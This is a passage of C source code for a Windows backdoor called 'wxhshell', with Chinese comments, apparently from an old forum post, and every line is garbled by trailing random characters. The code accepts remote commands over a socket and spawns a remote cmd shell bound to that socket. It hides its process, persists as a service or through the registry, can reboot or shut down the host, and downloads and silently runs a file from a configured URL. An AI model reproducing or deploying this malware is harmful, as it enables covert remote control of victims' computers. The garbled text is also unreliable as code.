  VCvqiHn  
  // 帮助 oWUDTio#[  
  case '?': { {m%X\s;ni  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XP-4=0zd  
    break; XOy#? X/`  
  } 4hv'OEl  
  // 安装 ]& q mV  
  case 'i': { %lU$;cY  
    if(Install()) cIgicp}U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $wn "+wX  
    else 4q<:% 0M|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XJ;JDch  
    break;  VSkx;P  
    } +<ey Iw  
  // 卸载 Up$vBE8i]  
  case 'r': { k]`3if5>  
    if(Uninstall()) <!vAqqljt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U q6..<#  
    else n[/|M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %j=,c{`Q  
    break; s"|N-A=cS  
    } +6{KrREX)  
  // 显示 wxhshell 所在路径 ngJES` 0d  
  case 'p': { oB$D&  
    char svExeFile[MAX_PATH]; G#! j`  
    strcpy(svExeFile,"\n\r"); '4A8\&lQO  
      strcat(svExeFile,ExeFile); cZ7b$MZ%9  
        send(wsh,svExeFile,strlen(svExeFile),0); -j9R%+YW<  
    break; -3r&O:  
    } !lF|90=  
  // 重启 6X:- Z 3  
  case 'b': { LV 94i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !m1pL0  
    if(Boot(REBOOT)) T`=N^Ca1!`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )N2yhdcqI  
    else { `#X{.  
    closesocket(wsh); ";e0-t6:  
    ExitThread(0); $sO}l  
    } 7j& l2Z  
    break; <_H0Q_/(  
    } b`K~l'8  
  // 关机 YAZ=-@]`\  
  case 'd': { bct&ge7YX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [M2,bc8SJV  
    if(Boot(SHUTDOWN)) <..%@]+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f|FQd3o)  
    else { _wf"E(c3D  
    closesocket(wsh); 9bXU!l[  
    ExitThread(0); }~-)31e'`  
    } ^ :Q |,oy  
    break; ' n~N*DH  
    } h3xX26l  
  // 获取shell 6SsZK)X  
  case 's': { t Q_}o[  
    CmdShell(wsh); M42D5|tZc  
    closesocket(wsh); R< xxwjt  
    ExitThread(0); ^LT9t2  
    break; +.HQ+`8z]  
  } m= fmf(  
  // 退出 jt2 m-*aP  
  case 'x': { mcDW&jwQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :"O=/p+*Us  
    CloseIt(wsh); $Y aL3n  
    break; 4Df TVO"h  
    } &H5 6mL{  
  // 离开 > KH4X:  
  case 'q': { j&m<=-q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xyz-T1ib  
    closesocket(wsh); 5 |C;]pq  
    WSACleanup(); 1xq1te)  
    exit(1); Yjk A^e  
    break; }.zgVL L  
        } o<P%|>qX  
  } `Xmpm4 ]  
  } O t `}eL-  
T:.J9  
  // 提示信息 n3b@ 6V1_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cX.v^9kuX  
} ~`_nw5y  
  } .FHOOw1r=  
",8h>eEWK  
  return; ;{Z2i%  
} A7_*zR @  
,%nmCetD@  
// shell模块句柄 n7<<}wcV  
int CmdShell(SOCKET sock) "TjR]jnV(  
{ /'VCJjzZ  
STARTUPINFO si; ocgbBE  
ZeroMemory(&si,sizeof(si)); ~T4 =Id  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x5`q)!<&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JG}U,{7(  
PROCESS_INFORMATION ProcessInfo; xI:;%5{LN  
char cmdline[]="cmd"; <J H0 &  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z^GriL  
  return 0; A7b7IM[  
} )cs y^-qw  
QTn-n)AE  
// 自身启动模式 KI>7h.t  
int StartFromService(void) "hlIGJ?_=  
{ oHi&Z$#!n  
typedef struct `(o1&  
{ dnIBAe  
  DWORD ExitStatus; g\ *gHHa  
  DWORD PebBaseAddress; U;V. +onv  
  DWORD AffinityMask; [sKdIw_  
  DWORD BasePriority; #{ Uk4  
  ULONG UniqueProcessId; Q}fAAZ&7h  
  ULONG InheritedFromUniqueProcessId; rX{|]M":T  
}   PROCESS_BASIC_INFORMATION; Qn*c<:  
U5Ho? `<  
PROCNTQSIP NtQueryInformationProcess; ":-)mfgGU  
A<.Q&4jb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #sqDZ]\B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M;43F*   
9I.v?Tap  
  HANDLE             hProcess; .cZ&~ N  
  PROCESS_BASIC_INFORMATION pbi; ;_Rx|~!!  
7L-%5:1%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x6)   
  if(NULL == hInst ) return 0; RXWjFv~/  
e&0B4wVAQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zw5~|<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y6PAXvv'{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o$-8V:)6d  
v\MH;DW^Z  
  if (!NtQueryInformationProcess) return 0; )E[5lD61  
n3|~X/I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZXU e4@qfl  
  if(!hProcess) return 0; dl":?D4H  
'g=yJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RD_;us@&&*  
-dvDAs{X  
  CloseHandle(hProcess); `jZX(H   
dIpt&nH&$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'Vrev8D  
if(hProcess==NULL) return 0; /e7'5#v  
/t9w%Y  
HMODULE hMod; q/B+F%QiMQ  
char procName[255]; ASYUKh,h  
unsigned long cbNeeded; vSnb>z1  
>6kWmXK[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3x=F  
y1 }d(%  
  CloseHandle(hProcess); 3tm z2JIb  
SY$%!! @R  
if(strstr(procName,"services")) return 1; // 以服务启动 cLYc""=  
U|Jo[4A  
  return 0; // 注册表启动 6/-!oo   
} {!/y@/NK2  
V.-?aXQ*  
// 主模块 !}3`Pl.(r  
int StartWxhshell(LPSTR lpCmdLine) pJv?  
{ G1nW{vce  
  SOCKET wsl; "=".ne  
BOOL val=TRUE; E%;'3Qykva  
  int port=0; Asn0&Ys4  
  struct sockaddr_in door; Gqia@>T4*N  
cUm9s>^)/  
  if(wscfg.ws_autoins) Install(); Fhsmpe~  
yCkm|  
port=atoi(lpCmdLine); 4KM$QHS5{  
iP!Y4F  
if(port<=0) port=wscfg.ws_port; 4vX]c  
9Y4N  
  WSADATA data; kK1qFe?]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {&<}*4D  
c df ll+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kCC9U_dj,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r2](~&i2  
  door.sin_family = AF_INET; fM|g8(TK,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bK].qN  
  door.sin_port = htons(port); : te xl  
6>L.)V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tZ@ +18  
closesocket(wsl); ^ 2AF:(E  
return 1; D}061~zb$  
} _5K_YhT  
wU ; f   
  if(listen(wsl,2) == INVALID_SOCKET) { 1IlR  
closesocket(wsl); &Bp\kv  
return 1; |be r:1  
} ZKR z=(  
  Wxhshell(wsl); (wlsn6h  
  WSACleanup(); _eQ P0N  
a?Y1G3U'  
return 0; i]53A0l  
_$'Mx'IC=  
} ^kl9U+  
cyhD%sB[D9  
// 以NT服务方式启动 >b ["T+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5j{@2]i  
{ epR~Rlw>2  
DWORD   status = 0; )PG,K 4z  
  DWORD   specificError = 0xfffffff; C}h@El  
a`-hLX)~Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NI1HUUZz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &V?q d{39  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ij #a  
  serviceStatus.dwWin32ExitCode     = 0; 1:Yt2]  
  serviceStatus.dwServiceSpecificExitCode = 0; !1RV[b.8  
  serviceStatus.dwCheckPoint       = 0; p\{+l;`  
  serviceStatus.dwWaitHint       = 0; l'W+^  
lz)"zV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g&Z7h4!\  
  if (hServiceStatusHandle==0) return; Y1 P[^ws  
|g7h#F~  
status = GetLastError();  i) 2))C  
  if (status!=NO_ERROR) Ft7a\vn*B  
{ `oMeR]~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ya{>=  
    serviceStatus.dwCheckPoint       = 0; Z0=m:h  
    serviceStatus.dwWaitHint       = 0; L, {rMLM%  
    serviceStatus.dwWin32ExitCode     = status; |%}s$*s  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2*citB{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X?6h>%) k  
    return; VU/W~gb4"A  
  } eCp|QSXE  
O8r"M8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^)q2\ YE;  
  serviceStatus.dwCheckPoint       = 0; (J*w./  
  serviceStatus.dwWaitHint       = 0; )zXyV]xe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7rSUSra  
} (oXN>^-D  
VWshFI  
// 处理NT服务事件,比如:启动、停止 DVhTb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1qC:3 ;P  
{ %]ayW$4  
switch(fdwControl) ,z1!~gIal  
{ &#@>(u: .  
case SERVICE_CONTROL_STOP: i$ L]X[  
  serviceStatus.dwWin32ExitCode = 0; eU koVr   
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  j/9QV  
  serviceStatus.dwCheckPoint   = 0; KupMndK  
  serviceStatus.dwWaitHint     = 0; CjQ"oQw  
  { Ys$YI{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v1C.\fL  
  } Tq84Fn!HJ>  
  return; T'M66kg  
case SERVICE_CONTROL_PAUSE: _g 4 /%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (L5'rNk  
  break; eFSC^  
case SERVICE_CONTROL_CONTINUE: AD@PNM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u 7"VeTz  
  break; r%l%yCH  
case SERVICE_CONTROL_INTERROGATE: mY`]33??v  
  break; cIr1"5POXK  
}; wz+5 8(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d_C4B  
} t;!]z-Y>  
^ 6.lb\  
// 标准应用程序主函数 dPx<Dz;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?Y{^un  
{ 8},<e>q  
T;4` wB8@  
// 获取操作系统版本 A,gx5!J  
OsIsNt=GetOsVer(); T@|l@xm~L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n`)7Y`hBhP  
Ao":9r[V  
  // 从命令行安装 )M'UASB;8  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~" 0@u  
-2& i)S0R  
  // 下载执行文件 JT|u;Z*n  
if(wscfg.ws_downexe) { ?{: D,{+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HRV*x!|I  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yu^H*b  
} ufCqvv>'  
p08kZ  
if(!OsIsNt) { ^%8qKC`Tt  
// 如果时win9x,隐藏进程并且设置为注册表启动 y-#  
HideProc(); "XNu-_$N<a  
StartWxhshell(lpCmdLine); NaA+/:  
} i~)N QmH<  
else Px?Ao0)Z,  
  if(StartFromService()) 'qV3O+@MF  
  // 以服务方式启动 HmExfW  
  StartServiceCtrlDispatcher(DispatchTable); &|N%#pYS  
else vWl[l -E  
  // 普通方式启动 0zbLc%  
  StartWxhshell(lpCmdLine); }t|Plz  
7%9)C[6NSs  
return 0; l>~`;W  
}
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只看该作者 1 发表于: 2006-10-10
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